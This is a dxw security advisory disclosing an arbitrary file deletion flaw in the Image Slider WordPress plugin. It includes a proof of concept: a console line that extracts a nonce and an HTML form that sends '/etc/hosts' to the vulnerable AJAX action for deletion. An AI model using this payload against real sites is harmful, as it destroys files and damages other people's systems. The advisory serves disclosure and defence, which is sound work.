[FD] Arbitrary file deletion vulnerability in Image Slider allows authenticated users to delete files (WordPress plugin)

[dxw Security <security@xxxxxxx>]

Details
================
Software: Image Slider
Version: 1.1.41,1.1.89
Homepage: http://wordpress.org/plugins/image-slider-widget/
Advisory report: 
https://security.dxw.com/advisories/arbitrary-file-deletion-vulnerability-in-image-slider-allows-authenticated-users-to-delete-files/
CVE: Awaiting assignment
CVSS: 5.5 (Medium; AV:N/AC:L/Au:S/C:P/I:P/A:N)

Description
================
Arbitrary file deletion vulnerability in Image Slider allows authenticated 
users to delete files

Vulnerability
================
Any user able to create or edit “Sliders” (the same users who can create/edit 
posts, as far as I can tell) is able to delete arbitrary files that the web 
user has permission to write to. In addition, the attacker is told whether that 
operation succeeded or failed.
Depending on configuration this could lead to the attacker being able to:

Delete media uploads
Delete plugin files (this would be especially bad if there were security 
plugins limiting the attacker’s abilities)
Delete important system files (/etc/hosts, /usr/bin/php)
Attempt to delete unimportant files in order to discover more information about 
the system (i.e. attempting to delete /usr/share/doc/apt/changelog.gz would 
have little effect on the system if successful but it would tell the attacker 
that the host is running a Debian derivative)


Proof of concept
================

First, make sure you have a file to delete. I’m going to use /etc/hosts as an 
example because it demonstrates that you’re not limited to files within the 
WordPress installation, but make sure whichever file you use can be deleted by 
the user account WordPress is running under
Visit /wp-admin/post-new.php?post_type=easyimageslider
Input the following JavaScript in the inspector’s console to get the nonce 
value: document.querySelector(\'[data-tnonce]\').dataset[\'tnonce\']
Create a page containing the following code, replace NONCE with the nonce you 
got in the previous step, visit the page and click submit

<form action=\"http://localhost/wp-admin/admin-ajax.php\"; method=\"POST\">
  <input type=\"text\" name=\"action\" value=\"ewic_timthumb_check\">
  <input type=\"text\" name=\"turl\" value=\"/etc/hosts\">
  <input type=\"text\" name=\"security\" value=\"NONCE\">
  <input type=\"submit\">
</form>
If WordPress is being run as root (or if the web user has permission to write 
to that file) then the page will display “1”, if not it won’t display anything.

Mitigations
================
Disable the plugin. No fixed version is known.

Disclosure policy
================
dxw believes in responsible disclosure. Your attention is drawn to our 
disclosure policy: https://security.dxw.com/disclosure/

Please contact us on security@xxxxxxx to acknowledge this report if you 
received it via a third party (for example, plugins@xxxxxxxxxxxxx) as they 
generally cannot communicate with us on your behalf.

This vulnerability will be published if we do not receive a response to this 
report with 14 days.

Timeline
================

2015-10-29: Discovered
2016-12-09: Reported to vendor via info@xxxxxxxxxxxx
2016-12-23: Vendor has not responded after 14 days
2016-12-23: Published



Discovered by dxw:
================
Tom Adams
Please visit security.dxw.com for more information.
          


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